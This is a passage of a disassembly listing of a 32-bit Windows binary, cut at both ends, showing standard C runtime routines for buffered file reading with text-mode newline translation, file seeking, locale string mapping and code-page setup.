loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------


loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------


loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_48B340[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------


loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_43BC20


loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h


loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_48B440
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:48B340h[eax*4]
		mov	eax, dword_48B340[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 262109Ch
		test	eax, eax
		jnz	short loc_41E3E9
		nop
		call	near ptr 2640A83h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	dword_48A014, 9
		mov	dword_48A018, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD


loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------


loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------


loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh


loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3


loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------


loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 262109Ch
		test	eax, eax
		jnz	short loc_41E48A
		call	near ptr 2640A83h
		nop
		test	eax, eax
		jnz	short loc_41E4D1


loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC


loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------


loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5


loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh


loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi


loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------


loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al


loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------


loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh


loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_48B440
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	dword_48A014, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 26C0000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		nop
		call	near ptr 2640A83h
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------


loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax


loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------


loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh


loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx


loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_48B340[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx


loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]


loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------


loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	dword_48A014, 16h


loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------


loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]


loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------


loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------


loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7


loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]


loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]


loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_48A0C0, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	short loc_41E75D
		mov	dword_48A0C0, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------


loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_43C824
		push	esi
		push	edi
		call	near ptr 2870000h
		nop
		test	eax, eax
		jz	loc_41E897
		mov	dword_48A0C0, 2


loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, dword_48A0C0
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2870000h
		nop
		jmp	loc_41E899
; ---------------------------------------------------------------------------


loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax


loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 2620000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	loc_41E926


loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax


loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2880000h
		nop
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------


loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 27B0000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897


loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_48B444
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_43B940


loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43BA30
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 2881220h
		nop
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		cmp	[ebp+var_18], 1
		mov	dword_48B444, esi
		rep stosd
		stosb
		mov	dword_48B664, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]


loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	byte_48B561[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------


loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43B950[esi]


loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41EA26


loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, byte_43B938[edx]


loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	byte_48B561[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14


loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA


loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	dword_48B45C, 1
		push	eax
		mov	dword_48B444, eax
		call	sub_41EB10
		lea	esi, dword_43B944[esi]
		mov	edi, offset dword_48B450
		movsd
		movsd
		pop	ecx
		mov	dword_48B664, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4


loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax


loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	byte_48B561[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	dword_48B664, eax
		mov	dword_48B45C, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------


loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	dword_48B45C, ebx


loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_48B450
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	dword_48A0C4, ebx
		jz	short loc_41EABE


loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43


loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C


loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------


loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh


loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_48A0C4, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	dword_48A0C4, 1
		nop
		jmp	near ptr 25F08FBh
; ---------------------------------------------------------------------------


loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	dword_48A0C4, 1
		nop
		jmp	near ptr 2881851h
; ---------------------------------------------------------------------------


loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, dword_48A0B8
		mov	dword_48A0C4, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
		jz	short loc_41EB37
		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
